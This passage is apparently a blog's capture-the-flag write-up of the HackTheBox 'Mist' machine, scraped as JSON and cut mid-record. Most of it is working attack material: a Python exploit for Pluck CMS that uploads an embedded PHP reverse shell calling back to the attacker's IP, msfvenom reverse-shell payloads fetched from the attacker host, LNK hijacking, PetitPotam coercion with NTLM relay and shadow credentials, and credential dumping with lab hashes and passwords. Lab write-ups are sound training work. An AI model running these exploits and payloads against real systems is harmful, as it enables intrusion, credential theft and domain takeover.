/tmp/hash.txt Pluck Upload #!/bin/env python3 import os import argparse import requests import subprocess from zipfile import ZipFile from requests_toolbelt.multipart.encoder import MultipartEncoder def get_tun0_ip(): try: result = subprocess.run( [\u0026#34;sh\u0026#34;, \u0026#34;-c\u0026#34;, r\u0026#34;ip a | grep -A 2 \u0026#39;tun0:\u0026#39; | grep -oP \u0026#39;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#39;\u0026#34;], stdout=subprocess.PIPE, text=True ) ip_address = result.stdout.strip() return ip_address if ip_address else None except Exception as e: print(f\u0026#34;Error getting tun0 IP: {e}\u0026#34;) return None theme_content = f\u0026#34;\u0026#34;\u0026#34; \u0026lt;?php class Shell {{ private $addr = null; private $port = null; private $os = null; private $shell = null; private $descriptorspec = array( 0 =\u0026gt; array(\u0026#39;pipe\u0026#39;, \u0026#39;r\u0026#39;), // shell can read from STDIN 1 =\u0026gt; array(\u0026#39;pipe\u0026#39;, \u0026#39;w\u0026#39;), // shell can write to STDOUT 2 =\u0026gt; array(\u0026#39;pipe\u0026#39;, \u0026#39;w\u0026#39;) // shell can write to STDERR ); private $buffer = 1024; private $clen = 0; private $error = false; public function __construct($addr, $port) {{ $this-\u0026gt;addr = $addr; $this-\u0026gt;port = $port; }} private function detect() {{ $detected = true; if (stripos(PHP_OS, \u0026#39;LINUX\u0026#39;) !== false) {{ $this-\u0026gt;os = \u0026#39;LINUX\u0026#39;; $this-\u0026gt;shell = \u0026#39;powershell\u0026#39;; }} else if (stripos(PHP_OS, \u0026#39;WIN32\u0026#39;) !== false || stripos(PHP_OS, \u0026#39;WINNT\u0026#39;) !== false || stripos(PHP_OS, \u0026#39;WINDOWS\u0026#39;) !== false) {{ $this-\u0026gt;os = \u0026#39;WINDOWS\u0026#39;; $this-\u0026gt;shell = \u0026#39;powershell.exe\u0026#39;; }} else {{ $detected = false; echo \u0026#34;SYS_ERROR: Underlying operating system is not supported, script will now exit...\\n\u0026#34;; }} return $detected; }} private function daemonize() {{ $exit = false; if (!function_exists(\u0026#39;pcntl_fork\u0026#39;)) {{ echo \u0026#34;DAEMONIZE: pcntl_fork() does not exists, moving on...\\n\u0026#34;; }} else if (($pid = @pcntl_fork()) \u0026lt; 0) {{ echo \u0026#34;DAEMONIZE: Cannot fork off the parent process, moving on...\\n\u0026#34;; }} else if ($pid \u0026gt; 0) {{ $exit = true; echo \u0026#34;DAEMONIZE: Child process forked off successfully, parent process will now exit...\\n\u0026#34;; }} else if (posix_setsid() \u0026lt; 0) {{ echo \u0026#34;DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\\n\u0026#34;; }} else {{ echo \u0026#34;DAEMONIZE: Completed successfully!\\n\u0026#34;; }} return $exit; }} private function settings() {{ @error_reporting(0); @set_time_limit(0); @umask(0); }} private function dump($data) {{ $data = str_replace(\u0026#39;\u0026lt;\u0026#39;, \u0026#39;\u0026amp;lt;\u0026#39;, $data); $data = str_replace(\u0026#39;\u0026gt;\u0026#39;, \u0026#39;\u0026amp;gt;\u0026#39;, $data); echo $data; }} private function read($stream, $name, $buffer) {{ if (($data = @fread($stream, $buffer)) === false) {{ $this-\u0026gt;error = true; echo \u0026#34;STRM_ERROR: Cannot read from ${{name}}, script will now exit...\\n\u0026#34;; }} return $data; }} private function write($stream, $name, $data) {{ if (($bytes = @fwrite($stream, $data)) === false) {{ $this-\u0026gt;error = true; echo \u0026#34;STRM_ERROR: Cannot write to ${{name}}, script will now exit...\\n\u0026#34;; }} return $bytes; }} private function rw($input, $output, $iname, $oname) {{ while (($data = $this-\u0026gt;read($input, $iname, $this-\u0026gt;buffer)) \u0026amp;\u0026amp; $this-\u0026gt;write($output, $oname, $data)) {{ if ($this-\u0026gt;os === \u0026#39;WINDOWS\u0026#39; \u0026amp;\u0026amp; $oname === \u0026#39;STDIN\u0026#39;) {{ $this-\u0026gt;clen += strlen($data); }} $this-\u0026gt;dump($data); }} }} private function brw($input, $output, $iname, $oname) {{ $fstat = fstat($input); $size = $fstat[\u0026#39;size\u0026#39;]; if ($this-\u0026gt;os === \u0026#39;WINDOWS\u0026#39; \u0026amp;\u0026amp; $iname === \u0026#39;STDOUT\u0026#39; \u0026amp;\u0026amp; $this-\u0026gt;clen) {{ while ($this-\u0026gt;clen \u0026gt; 0 \u0026amp;\u0026amp; ($bytes = $this-\u0026gt;clen \u0026gt;= $this-\u0026gt;buffer ? $this-\u0026gt;buffer : $this-\u0026gt;clen) \u0026amp;\u0026amp; $this-\u0026gt;read($input, $iname, $bytes)) {{ $this-\u0026gt;clen -= $bytes; $size -= $bytes; }} }} while ($size \u0026gt; 0 \u0026amp;\u0026amp; ($bytes = $size \u0026gt;= $this-\u0026gt;buffer ? $this-\u0026gt;buffer : $size) \u0026amp;\u0026amp; ($data = $this-\u0026gt;read($input, $iname, $bytes)) \u0026amp;\u0026amp; $this-\u0026gt;write($output, $oname, $data)) {{ $size -= $bytes; $this-\u0026gt;dump($data); }} }} public function run() {{ if ($this-\u0026gt;detect() \u0026amp;\u0026amp; !$this-\u0026gt;daemonize()) {{ $this-\u0026gt;settings(); $socket = @fsockopen($this-\u0026gt;addr, $this-\u0026gt;port, $errno, $errstr, 30); if (!$socket) {{ echo \u0026#34;SOC_ERROR: {{$errno}}: {{$errstr}}\\n\u0026#34;; }} else {{ stream_set_blocking($socket, false); $process = @proc_open($this-\u0026gt;shell, $this-\u0026gt;descriptorspec, $pipes, null, null); if (!$process) {{ echo \u0026#34;PROC_ERROR: Cannot start the shell\\n\u0026#34;; }} else {{ foreach ($pipes as $pipe) {{ stream_set_blocking($pipe, false); }} $status = proc_get_status($process); @fwrite($socket, \u0026#34;SOCKET: Shell has connected! PID: \u0026#34; . $status[\u0026#39;pid\u0026#39;] . \u0026#34;\\n\u0026#34;); do {{ $status = proc_get_status($process); if (feof($socket)) {{ // check for end-of-file on SOCKET echo \u0026#34;SOC_ERROR: Shell connection has been terminated\\n\u0026#34;; break; }} else if (feof($pipes[1]) || !$status[\u0026#39;running\u0026#39;]) {{ echo \u0026#34;PROC_ERROR: Shell process has been terminated\\n\u0026#34;; break; }} $streams = array( \u0026#39;read\u0026#39; =\u0026gt; array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR \u0026#39;write\u0026#39; =\u0026gt; null, \u0026#39;except\u0026#39; =\u0026gt; null ); $num_changed_streams = @stream_select($streams[\u0026#39;read\u0026#39;], $streams[\u0026#39;write\u0026#39;], $streams[\u0026#39;except\u0026#39;], 0); // wait for stream changes | will not wait on Windows OS if ($num_changed_streams === false) {{ echo \u0026#34;STRM_ERROR: stream_select() failed\\n\u0026#34;; break; }} else if ($num_changed_streams \u0026gt; 0) {{ if ($this-\u0026gt;os === \u0026#39;LINUX\u0026#39;) {{ if (in_array($socket , $streams[\u0026#39;read\u0026#39;])) {{ $this-\u0026gt;rw($socket , $pipes[0], \u0026#39;SOCKET\u0026#39;, \u0026#39;STDIN\u0026#39; ); }} // read from SOCKET and write to STDIN if (in_array($pipes[2], $streams[\u0026#39;read\u0026#39;])) {{ $this-\u0026gt;rw($pipes[2], $socket , \u0026#39;STDERR\u0026#39;, \u0026#39;SOCKET\u0026#39;); }} // read from STDERR and write to SOCKET if (in_array($pipes[1], $streams[\u0026#39;read\u0026#39;])) {{ $this-\u0026gt;rw($pipes[1], $socket , \u0026#39;STDOUT\u0026#39;, \u0026#39;SOCKET\u0026#39;); }} // read from STDOUT and write to SOCKET }} else if ($this-\u0026gt;os === \u0026#39;WINDOWS\u0026#39;) {{ if (in_array($socket, $streams[\u0026#39;read\u0026#39;])/*------*/) {{ $this-\u0026gt;rw ($socket , $pipes[0], \u0026#39;SOCKET\u0026#39;, \u0026#39;STDIN\u0026#39; ); }} // read from SOCKET and write to STDIN if (($fstat = fstat($pipes[2])) \u0026amp;\u0026amp; $fstat[\u0026#39;size\u0026#39;]) {{ $this-\u0026gt;brw($pipes[2], $socket , \u0026#39;STDERR\u0026#39;, \u0026#39;SOCKET\u0026#39;); }} // read from STDERR and write to SOCKET if (($fstat = fstat($pipes[1])) \u0026amp;\u0026amp; $fstat[\u0026#39;size\u0026#39;]) {{ $this-\u0026gt;brw($pipes[1], $socket , \u0026#39;STDOUT\u0026#39;, \u0026#39;SOCKET\u0026#39;); }} // read from STDOUT and write to SOCKET }} }} }} while (!$this-\u0026gt;error); foreach ($pipes as $pipe) {{ fclose($pipe); }} proc_close($process); }} fclose($socket); }} }} }} }} echo \u0026#39;\u0026lt;pre\u0026gt;\u0026#39;; $sh = new Shell(\u0026#39;{ get_tun0_ip() }\u0026#39;, 9001); $sh-\u0026gt;run(); unset($sh); echo \u0026#39;\u0026lt;/pre\u0026gt;\u0026#39;; ?\u0026gt; \u0026#34;\u0026#34;\u0026#34; theme_info = \u0026#34;\u0026lt;?php $themedir = \u0026#39;pwned\u0026#39;; $themename = \u0026#39;pwned\u0026#39;; ?\u0026gt;\u0026#34; session = requests.Session() def login(url,psw): LOGIN_URL = url + \u0026#34;login.php\u0026#34; headers = {\u0026#34;Referer\u0026#34;: LOGIN_URL} data = {\u0026#39;cont1\u0026#39;: psw, \u0026#39;bogus\u0026#39;: \u0026#39;\u0026#39;, \u0026#39;submit\u0026#39;: \u0026#39;Log in\u0026#39;} response = session.post(LOGIN_URL, headers=headers, data=data) if response.status_code == 200: print(\u0026#34;[+] Login successful\u0026#34;) return True else: print(\u0026#34;[-] Login problem. response code:\u0026#34;, response.status_code) return False def theme_zip(name): WEBSHELL_PATH = \u0026#39;./theme.php\u0026#39; INFO_PHP_PATH = \u0026#39;./info.php\u0026#39; with open(WEBSHELL_PATH, \u0026#39;w\u0026#39;) as file: file.write(theme_content) with open(INFO_PHP_PATH, \u0026#39;w\u0026#39;) as file: file.write(theme_info) with ZipFile(name + \u0026#39;.zip\u0026#39;, \u0026#39;w\u0026#39;) as zipf: zipf.write(WEBSHELL_PATH) zipf.write(INFO_PHP_PATH) print(\u0026#34;[+] Theme Zipped\u0026#34;) def module_zip(name): WEBSHELL_PATH = f\u0026#39;./{name}/{name}.php\u0026#39; os.makedirs(name, exist_ok=True) with open(WEBSHELL_PATH, \u0026#39;w\u0026#39;) as file: file.write(theme_content) with ZipFile(f\u0026#39;{name}.zip\u0026#39;, \u0026#39;w\u0026#39;) as zipf: zipf.write(WEBSHELL_PATH, arcname=os.path.join(f\u0026#39;{name}/\u0026#39;, name + \u0026#39;.php\u0026#39;)) print(\u0026#34;[+] Module Zipped\u0026#34;) def theme_set(url,name): THEME_URL = url + \u0026#34;admin.php?action=theme\u0026#34; headers = {\u0026#34;Referer\u0026#34;: THEME_URL} data = {\u0026#39;cont1\u0026#39;: name, \u0026#39;save\u0026#39;: \u0026#39;Save\u0026#39;} response = session.post(THEME_URL, headers=headers, data=data) if response.status_code == 200: print(\u0026#34;[+] Theme setup successful\u0026#34;) return True else: print(\u0026#34;[-] Theme setup problem. Response code:\u0026#34;, response.status_code) return False def theme_check(url, name): response = session.get(url + \u0026#34;/data/themes/\u0026#34; + name + \u0026#34;/\u0026#34;) return response.status_code == 200 def lfi(url, file): response = session.post(url + \u0026#39;data/modules/albums/albums_getimage.php?image=\u0026#39; + file) if response.status_code == 200: print(response.text) else: print(f\u0026#34;[-] Failed to LFI. Status code: {response.status_code}\u0026#34;) def upload(url, name, action): UPLOAD_URL = url + \u0026#34;admin.php?action=\u0026#34; + action with open(name + \u0026#39;.zip\u0026#39;, \u0026#39;rb\u0026#39;) as file: multipart_data = MultipartEncoder( fields={ \u0026#39;sendfile\u0026#39;: (name + \u0026#39;.zip\u0026#39;, file, \u0026#39;application/zip\u0026#39;), \u0026#39;submit\u0026#39;: \u0026#39;Upload\u0026#39; } ) headers = { \u0026#34;Referer\u0026#34;: UPLOAD_URL, \u0026#39;Content-Type\u0026#39;: multipart_data.content_type } response = session.post(UPLOAD_URL, headers=headers, data=multipart_data) if response.status_code == 200: print(\u0026#34;[+] Upload successful\u0026#34;) return True else: print(\u0026#34;[-] Upload problem. Response code:\u0026#34;, response.status_code) return False def run(url, path): response = session.post(url + path) if response.status_code == 200: print(response.text) else: print(f\u0026#34;[-] Failed to execute command. Status code: {response.status_code}\u0026#34;) if __name__ == \u0026#39;__main__\u0026#39;: try: parser = argparse.ArgumentParser(description=\u0026#34;Manage theme installation and operations.\u0026#34;) parser.add_argument(\u0026#39;-n\u0026#39;, \u0026#39;--name\u0026#39;, default=\u0026#39;pwn\u0026#39;, help=\u0026#39;Name of the theme to process.\u0026#39;) parser.add_argument(\u0026#39;-u\u0026#39;, \u0026#39;--url\u0026#39;, required=True, help=\u0026#39;Url of the pluck website.\u0026#39;) parser.add_argument(\u0026#39;-p\u0026#39;, \u0026#39;--password\u0026#39;, required=True, help=\u0026#39;Password for login authentication.\u0026#39;) parser.add_argument(\u0026#39;-r\u0026#39;, \u0026#39;--rev\u0026#39;, action=\u0026#39;store_true\u0026#39;, help=\u0026#39;Activate reverse shell PHP to tun0:9001.\u0026#39;) parser.add_argument(\u0026#39;-t\u0026#39;, \u0026#39;--type\u0026#39;, choices=[\u0026#39;theme\u0026#39;, \u0026#39;module\u0026#39;], default=\u0026#39;module\u0026#39;, help=\u0026#39;Specify the upload type.\u0026#39;) args = parser.parse_args() login(args.url,args.password) print(\u0026#34;[+] \u0026#34;+ args.url + \u0026#39;admin_backup.php\u0026#39;) lfi(args.url ,\u0026#39;admin_backup.php\u0026#39;) if args.type == \u0026#39;theme\u0026#39;: theme_zip(args.name) elif args.type == \u0026#39;module\u0026#39;: module_zip(args.name) if args.rev: while not theme_check(args.url ,args.name): if args.type == \u0026#39;theme\u0026#39;: upload(args.url ,args.name, \u0026#39;themeinstall\u0026#39;) theme_set(args.url ,args.name) run(args.url, \u0026#39;\u0026#39;) else: upload(args.url ,args.name, \u0026#39;installmodule\u0026#39;) run(args.url,\u0026#39;data/modules/\u0026#39; + args.name + \u0026#39;/\u0026#39; + args.name + \u0026#39;.php\u0026#39;) except KeyboardInterrupt: print(\u0026#34;[-] Exit\u0026#34;) exit(0) rlwrap nc -lvnp 9001 Note: Avoid -t theme; it overwrites the main webpage, making the site unusable for others. Use the default module upload for safer changes.\nmkdir mist cd mist nano rce.py python rce.py -p lexypoo97 -u \u0026#39;http://10.10.11.17/\u0026#39; -r After Inspecting dirs in the target\nnet share net view \\\\MS01 dir \u0026#34;\\\\MS01\\Common Applications\u0026#34; LNK Hijack Gen a Payload in your machine:\nmsfvenom -p windows/x64/shell_reverse_tcp -f exe LHOST=tun0 LPORT=9002 -o debug.exe python -m http.server Listener:\nrlwrap nc -lvnp 9002 In the Target:\ncd \\xampp\\htdocs\\files wget 10.10.14.17:8000/debug.exe -o debug.exe https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk\n$objShell = New-Object -ComObject WScript.Shell; $lnk = $objShell.CreateShortcut(\u0026#34;C:\\Common Applications\\Calculator.lnk\u0026#34;); $lnk.TargetPath = \u0026#34;C:\\xampp\\htdocs\\files\\debug.exe\u0026#34;; $lnk.Save(); View if its infected:\ntype \u0026#34;c:\\Common Applications\\Calculator.lnk\u0026#34; Now wait like 120s for 9002 to get the connection back\nCA Certificates cd \\xampp\\htdocs\\files curl 10.10.14.17:8000/Certify.exe -o Certify.exe .\\Certify.exe cas /ca:DC01\\mist-DC01-CA .\\Certify.exe find ca:DC01\\mist-DC01-CA .\\Certify.exe request /ca:DC01.mist.htb\\mist-DC01-CA /template:User as said by the promt convert with openssl in your local machine\nnano cert.pem openssl pkcs12 -in cert.pem -keyex -CSP \u0026#34;Microsoft Enhanced Cryptographic Provider v1.0\u0026#34; -export -out cert.pfx python -m http.server 8001 Silver ticket In the Target:\ncurl 10.10.14.17:8001/cert.pfx -o cert.pfx curl 10.10.14.17:8000/Rubeus.exe -o Rubeus.exe .\\Rubeus.exe asktgt /user:brandon.keywarp /certificate:C:\\xampp\\htdocs\\files\\cert.pfx /getcredentials /show /nowrap and you get the NTLM Hash DB03D6A77A2205BC1D07082740626CC9 for mist\\brandon.keywarp.\nWebDav Enable #include \u0026lt;windows.h\u0026gt; #include \u0026lt;evntprov.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; ULONG EVNTAPI EventRegister(LPCGUID ProviderId, PENABLECALLBACK EnableCallback, PVOID CallbackContext, PREGHANDLE RegHandle); ULONG EVNTAPI EventWrite(REGHANDLE RegHandle, PCEVENT_DESCRIPTOR EventDescriptor, ULONG UserDataCount, PEVENT_DATA_DESCRIPTOR UserData); ULONG EVNTAPI EventUnregister(REGHANDLE RegHandle); typedef struct { char *original; char *buffer; int length; int size; } datap; typedef struct { char *original; char *buffer; int length; int size; } formatp; #define CALLBACK_OUTPUT 0x0 #define CALLBACK_OUTPUT_OEM 0x1e #define CALLBACK_ERROR 0x0d #define CALLBACK_OUTPUT_UTF8 0x20 void BeaconPrintf(int type, const char *fmt, ...) { va_list args; va_start(args, fmt); vprintf(fmt, args); va_end(args); } BOOL BeaconUseToken(HANDLE token) { return SetThreadToken(NULL, token); } void BeaconRevertToken() { RevertToSelf(); } BOOL BeaconIsAdmin() { BOOL isAdmin = FALSE; PSID adminGroup; SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY; if (AllocateAndInitializeSid(\u0026amp;ntAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, \u0026amp;adminGroup)) { CheckTokenMembership(NULL, adminGroup, \u0026amp;isAdmin); FreeSid(adminGroup); } return isAdmin; } VOID go(IN PCHAR Args, IN ULONG Length) { ULONG status = ERROR_SUCCESS; REGHANDLE RegistrationHandle; EVENT_DESCRIPTOR EventDescriptor; const GUID _MS_Windows_WebClntLookupServiceTrigger_Provider = { 0x22B6D684, 0xFA63, 0x4578, { 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } }; status = EventRegister(\u0026amp;_MS_Windows_WebClntLookupServiceTrigger_Provider, NULL, NULL, \u0026amp;RegistrationHandle); if (status != ERROR_SUCCESS) { BeaconPrintf(CALLBACK_ERROR, \u0026#34;EventRegister failed with error value %lu\\n\u0026#34;, status); return; } EventDescCreate(\u0026amp;EventDescriptor, 1, 0, 0, 4, 0, 0, 0); status = EventWrite(RegistrationHandle, \u0026amp;EventDescriptor, 0, NULL); if (status != ERROR_SUCCESS) { BeaconPrintf(CALLBACK_ERROR, \u0026#34;EventWrite failed with 0x%x\\n\u0026#34;, status); return; } EventUnregister(RegistrationHandle); BeaconPrintf(CALLBACK_OUTPUT, \u0026#34;[+] WebClient service started successfully.\\n\u0026#34;); } int main() { go(NULL, 0); return 0; } In your Machine:\nmkdir webdav nano webdav.c x86_64-w64-mingw32-gcc -o webdav.exe webdav.c -ladvapi32 -mconsole python -m http.server 8001 On the Target 9002:\ncd \\xampp\\htdocs\\files powershell curl 10.10.14.17:8001/webdav.exe -o webdav.exe Install-WindowsFeature WebDAV-Redirector .\\webdav.exe On the Target 9001:\nGet-Service WebClient When using tools like PetitPotam and ntlmrelayx, always check and start WebDAV first to ensure it\u0026rsquo;s running properly.\nChisel Forwarding In the Local:\nchisel server -p 9999 --reverse chisel server -p 4444 --reverse socat tcp-listen:8080,reuseaddr,fork tcp:10.10.14.17:80 In the Target:\npowershell net user cd \\xampp\\htdocs\\files curl http://10.10.14.17:8000/chisel.exe -o chisel.exe Get-Process | Where-Object {$_.ProcessName -like \u0026#34;chisel\u0026#34;} | Stop-Process -Force Start-Process -FilePath \u0026#34;.\\chisel.exe\u0026#34; -ArgumentList \u0026#34;client 10.10.14.17:9999 R:socks\u0026#34; -WindowStyle Hidden Start-Process -FilePath \u0026#34;.\\chisel.exe\u0026#34; -ArgumentList \u0026#34;client 10.10.14.17:4444 8080:10.10.14.17:8080\u0026#34; -WindowStyle Hidden gci Cert:\\CurrentUser\\UserDS\\ | select * install proxychains and sudo nano /etc/proxychains.conf in the last line socks5 127.0.0.1 1080\ntest connection using the previously discussed hash\nsudo proxychains netexec smb 192.168.100.100 -u \u0026#39;brandon.keywarp\u0026#39; -H \u0026#34;DB03D6A77A2205BC1D07082740626CC9\u0026#34; PetitPotam in your machine\nwget https://raw.githubusercontent.com/topotam/PetitPotam/refs/heads/main/PetitPotam.py proxychains python3 PetitPotam.py -u \u0026#39;brandon.keywarp\u0026#39; -hashes \u0026#39;:DB03D6A77A2205BC1D07082740626CC9\u0026#39; -pipe all -d mist.htb 10.10.14.17 192.168.100.101 sudo responder -I tun0 -dwv Shut down \u0026lsquo;responder\u0026rsquo; after verifying the connection, as it was used only for testing purposes.\nImpacket Pull Request 1402 (Shadow Credentials) Fortra\u0026rsquo;s Impacket Pull 1402 introduces set_shadow_creds and clear_shadow_creds functions, enabling advanced manipulation of Active Directory objects.\nImpacket fork includes these features in the branch interactive-ldap-shadow-creds.\ngit clone https://github.com/Tw1sm/impacket.git -b interactive-ldap-shadow-creds cd impacket python -m venv venv source venv/bin/activate pip install . pip install pyOpenSSL==24.0.0 sudo PYTHONPATH=$(echo $VIRTUAL_ENV/lib/python*/site-packages) proxychains python3 ./examples/ntlmrelayx.py -t ldaps://192.168.100.100 --delegate-access -i proxychains python3 PetitPotam.py -u Brandon.Keywarp -d mist.htb -hashes :DB03D6A77A2205BC1D07082740626CC9 \u0026#34;ms01@8080/test\u0026#34; 192.168.100.101 -pipe all rlwrap nc -nv 127.0.0.1 11000 # clear_shadow_creds MS01$ Found Target DN: CN=MS01,CN=Computers,DC=mist,DC=htb Target SID: S-1-5-21-1045809509-3006658589-2426055941-1108 Shadow credentials cleared successfully! # set_shadow_creds MS01$ Found Target DN: CN=MS01,CN=Computers,DC=mist,DC=htb Target SID: S-1-5-21-1045809509-3006658589-2426055941-1108 KeyCredential generated with DeviceID: 8bf7ec3e-23ca-7c4c-a703-f255f9449a98 Shadow credentials successfully added! Saved PFX (#PKCS12) certificate \u0026amp; key at path: 7EHwTVnZ.pfx Must be used with password: YdKyMslQtN7VlDfceLZJ To run this sequence quickly, launch WebDAV, start ntlmrelayx, trigger PetitPotam to coerce NTLM authentication, and immediately use pkinit with your specific .pfx and password to grab the Kerberos ticket. Using tmux for session handling and rlwrap for smoother command input/output will help keep the flow uninterrupted, as timing is critical for this chain to succeed.\nGet the ticket with pkinit\nsudo proxychains gettgtpkinit -cert-pfx $(pwd)/jdfNKNFB.pfx -pfx-pass \u0026#34;oVv1twDcTaadrgN2iovX\u0026#34; MIST.HTB/MS01$ ms01.ccache -dc-ip 192.168.100.100 -v From this point onward, you can proceed calmly.\nexport KRB5CCNAME=ms01.ccache sudo proxychains getnthash mist.htb/svc_cabackup -key \u0026lt;key from gettgtpkinit\u0026gt; Output:\n40a247e6c71d823a03265c51bda949c8 Use ticketer \u0026amp; netexec:\nticketer.py -nthash 40a247e6c71d823a03265c51bda949c8 -domain-sid S-1-5-21-1045809509-3006658589-2426055941 -domain mist.htb -dc-ip 192.168.100.100 -spn HOST/MS01.mist.htb administrator export KRB5CCNAME=administrator.ccache proxychains nxc smb 192.168.100.101 --use-kcache --sam Output:\nAdministrator:500:aad3b435b51404eeaad3b435b51404ee:711e6a685af1c31c4029c3c7681dd97b::: Note: proxychains secretsdump.py -k -no-pass administrator@ms01.mist.htb retrieves the plaintext password for svc_web, but it’s not necessary.\nNow you can use the hash:\nproxychains evil-winrm -i 192.168.100.101 -u administrator -H 711e6a685af1c31c4029c3c7681dd97b type \u0026#39;\\Users\\Administrator\\Desktop\\user.txt\u0026#39; Now op_sharon tree /a /f \\Users\\Sharon.Mullard C:\\USERS\\SHARON.MULLARD +---Desktop +---Documents | sharon.kdbx \u0026lt;-- Keepass database | +---Downloads +---Favorites +---Links +---Music +---Pictures | cats.png | image_20022024.png | +---Saved Games \\---Videos The files image_20022024.png and cats.png offer clues suggesting hashcat use, with the password possibly starting as \u0026ldquo;UA7cpa[#1!_*ZX\u0026rdquo;—valuable for password cracking.\nproxychains evil-winrm -i 192.168.100.101 -u administrator -H 711e6a685af1c31c4029c3c7681dd97b download \u0026#39;C:\\USERS\\SHARON.MULLARD\\Documents\\sharon.kdbx\u0026#39; Now in your local machine:\nfile sharon.kdbx keepass2john sharon.kdbx \u0026gt; sharon_kdbx.hash hashcat -a 3 -m 13400 --increment --increment-min 14 --increment-max 20 sharon_kdbx.hash \u0026#39;UA7cpa[#1!_*ZX?a\u0026#39; --user You will get UA7cpa[#1!_*ZX@\nUse kpcli --kdb sharon.kdbx, enter the password, and run show -f 0 to display entries. Or, install KeePassXC to open sharon.kdbx with the found password.\nAnd you will get the actuall password ImTiredOfThisJob:(.\nproxychains evil-winrm -u \u0026#34;OP_SHARON.MULLARD\u0026#34; -p \u0026#39;ImTiredOfThisJob:(\u0026#39; -i 192.168.100.100 Now Root flag sudo proxychains netexec ldap 192.168.100.100 -u op_Sharon.Mullard -p \u0026#34;ImTiredOfThisJob:(\u0026#34; --gmsa You will get NTLM 07bb1cde74ed154fcec836bc1122bdcc of svc_ca$\nAddKeyCredentialLink https://github.com/ShutdownRepo/pywhisker\ngit clone https://github.com/0xPreDa/pywhisker cd pywhisker pipx ensurepath pipx install . PS: When I used it, I switched to the 0xPreDa fork due to an unresolved pull request, but it\u0026rsquo;s probably already fixed.\nproxychains pywhisker -d \u0026#34;mist.htb\u0026#34; --dc-ip 192.168.100.100 -u \u0026#39;svc_ca$\u0026#39; -H \u0026#34;07BB1CDE74ED154FCEC836BC1122BDCC\u0026#34; -t \u0026#34;svc_cabackup\u0026#34; --action \u0026#34;add\u0026#34; replace with your id and random pass\nsudo proxychains gettgtpkinit -cert-pfx \u0026#34;$(pwd)/Jv5N61Jv.pfx\u0026#34; -pfx-pass \u0026#34;gEwqpXOIKAwCOPcgrzvc\u0026#34; MIST.HTB/svc_cabackup svc_cabackup.ccache -dc-ip 192.168.100.100 -v export KRB5CCNAME=./svc_cabackup.ccache proxychains getnthash mist.htb/svc_cabackup -key \u0026lt;pkinit key\u0026gt; with this you get c9872f1bc10bdd522c12fc2ac9041b64.\nManagerAuthentication CA pipx install certipy-ad proxychains certipy req -u \u0026#34;svc_cabackup@mist.htb\u0026#34; -hashes \u0026#34;:c9872f1bc10bdd522c12fc2ac9041b64\u0026#34; -template ManagerAuthentication -ca mist-DC01-CA -target dc01.mist.htb -key-size 4096 -dns-tcp -dc-ip 192.168.100.100 proxychains -q certipy req -u svc_cabackup -hashes c9872f1bc10bdd522c12fc2ac9041b64 -ca \u0026#39;mist-DC01-CA\u0026#39; -template ManagerAuthentication -dc-ip 192.168.100.100 -dns-tcp -key-size 4096 Note: If you encounter the error [-] Got error: The NETBIOS connection with the remote host timed out, simply try running the command again, as this error often occurs due to transient network connectivity issues.\nSmb Sever smb server in your local pc to retrive sam:\nmkdir smb cd smb sudo smbserver.py -smb2support pwn . Retrive SAM proxychains -q certipy auth -dc-ip 192.168.100.100 -pfx svc_cabackup.pfx export KRB5CCNAME=svc_cabackup.ccache proxychains -q certipy req -k -no-pass -ca \u0026#39;mist-DC01-CA\u0026#39; -template \u0026#39;BackupSvcAuthentication\u0026#39; -dc-ip dc01.mist.htb -ns 192.168.100.100 -dns-tcp -key-size 4096 proxychains -q certipy auth -dc-ip 192.168.100.100 -pfx svc_cabackup.pfx export KRB5CCNAME=svc_cabackup.ccache proxychains -q reg.py \u0026#39;mist.htb/svc_cabackup@dc01.mist.htb\u0026#39; -k -no-pass -dc-ip 192.168.100.100 backup -o \u0026#39;\\\\10.10.14.17\\pwn\u0026#39; secretsdump.py -sam SAM.save -security security.save -system SYSTEM.save LOCAL Final Steps Test the hash:\nsudo proxychains netexec smb 192.168.100.100 -u \u0026#34;DC01\\$\u0026#34; -H \u0026#34;e768c4cf883a87ba9e96278990292260\u0026#34; proxychains secretsdump.py -hashes \u0026#34;:e768c4cf883a87ba9e96278990292260\u0026#34; DC01\\$@192.168.100.100 proxychains evil-winrm -u administrator -H \u0026#39;b46782b9365344abdff1a925601e0385\u0026#39; -i 192.168.100.100 type \\Users\\Administrator\\desktop\\root.txt Summary Mist: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.\n","date":"2024-10-26T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Mist/","protected":null,"snippet":"Mist: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.","tags":["htb","windows","linux","active-directory","kerberos","smb","ldap","cve-2024-9405"],"title":"HackTheBox Mist Writeup"},{"categories":["machine"],"contents":"Add Hosts 10.10.11.21 axlle.htb Script to add hosts automatically ip=\u0026#34;10.10.11.21\u0026#34; domain=\u0026#34;axlle.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV axlle.htb Nmap scan report for axlle.htb (10.10.11.21) Host is up (0.052s latency). Not shown: 986 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 25/tcp open smtp hMailServer smtpd | smtp-commands: MAINFRAME, SIZE 20480000, AUTH LOGIN, HELP |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Axlle Development 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-22 13:33:43Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: axlle.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open 